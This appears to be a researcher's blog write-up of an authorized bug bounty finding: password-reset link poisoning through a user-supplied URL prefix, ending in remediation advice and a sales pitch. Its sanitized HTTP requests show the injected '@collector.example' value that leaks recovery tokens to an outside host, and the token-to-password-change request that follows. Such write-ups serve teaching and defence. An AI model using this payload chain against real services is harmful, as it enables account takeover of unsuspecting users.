Hi, everyone.
This one started with an ordinary password-recovery request: a member handle, a JSON body, and no session cookie.
The portal's main hostname sent visitors to corporate SSO. I left that login flow alone and looked at recovery instead. A reset flow is another way into an account, and this one had its own API.
The finding was reported through an authorized public program. Testing used accounts I registered. The vendor and original implementation details remain redacted.
A field the server accepted
One field looked like a destination: where the recovery link should send the member. I supplied a collector prefix, expecting to find out whether the server would make an outbound request.
These examples preserve the relevant behavior, not the original endpoint or field names.
POST /v2/help/send-link HTTP/1.1
Host: portal.redacted.example
Content-Type: application/json
{
"handle": "our-test-member",
"next": "@collector.example/r",
"surface": "web"
}HTTP 200. A success message. Nothing at the collector.
That ruled out the callback I was waiting for. It did not tell me what happened to the value after the API accepted it. I checked the test account's inbox.
The link inside the real email
A recovery message had arrived from the service. The message was genuine, but its reset link was not pointing where it should.
The application had combined its own hostname with my input and appended two freshly issued recovery values. In the sanitized example, the result was:
https://[email protected]/r?who=<issued-id>&ticket=<issued-secret>The part before @ is URL user information, not the destination host. The host here is collector.example. Clicking the link sends the query string there too, including the issued recovery identifier and secret.
The API had not fetched anything. The browser made the request when I clicked the reset link in my test account's email. Merely opening the email was not the step that demonstrated the leak.

Following the token through
A second unauthenticated endpoint accepted the two recovery values and a replacement password. It did not require a logged-in browser, bearer token, or corporate identity-provider session.
POST /v2/help/set-secret HTTP/1.1
Host: portal.redacted.example
Content-Type: application/json
{
"who": "<issued-id>",
"ticket": "<issued-secret>",
"secret": "<new-test-password>",
"secret2": "<new-test-password>"
}The response was HTTP 200 and the test account's password changed. Random identifiers failed. The working pair mattered because it was a live recovery credential issued by the application.
Three details worth keeping
The SSO page was a distraction. The visible login and the recovery API were different paths. A protected front door did not make the reset flow require a session.
No callback was still useful information. My initial SSRF idea was wrong. The input survived, but it became a link in an email rather than a server-side fetch.
Registration's error page was misleading. The self-service signup appeared to fail, yet I could log in with the handle I had just submitted. The account existed despite the UI error. That gave me an account and mailbox I could safely use for the test.
Why the destination mattered
This was more than sending someone to an unrelated page. The genuine reset email carried a usable recovery credential to an attacker-controlled destination. That credential could then authorize a password change through the real recovery API.
The demonstrated chain required a known member handle and a recipient clicking the poisoned reset link. I did not need to guess the token, control the recipient's mailbox, or compromise the identity provider. The demonstration stayed within my own test account.
What I would check next time
- Follow URL-like fields all the way through recovery, including the resulting email. An API response is not the end of the flow.
- Inspect the parsed destination host, not just the hostname-looking text at the beginning of a URL.
- Use a researcher-controlled account to verify what the issued token actually authorizes. A changed link alone does not establish account takeover.
Fix the link at its source
Build recovery links from a server-controlled origin. If a choice of destination is genuinely necessary, parse the complete URL and strictly validate its scheme and host against trusted destinations. Reject user-information components and do not concatenate a client-supplied prefix into a trusted URL.
Recovery tokens should be unpredictable, tied to the correct account, short-lived, and invalidated after use. Those controls matter, but they do not make a leaked, still-valid token safe. Fixing where the email sends it is the essential part.
OWASP's password-recovery guidance covers trusted reset URLs and token handling.
The useful clue was not the 200. It was where the email told me to click.
Thanks for reading.
Need this level of testing across your attack surface?
Work directly with researchers who look beyond automated findings and test the assumptions attackers exploit.
Discuss a security assessment
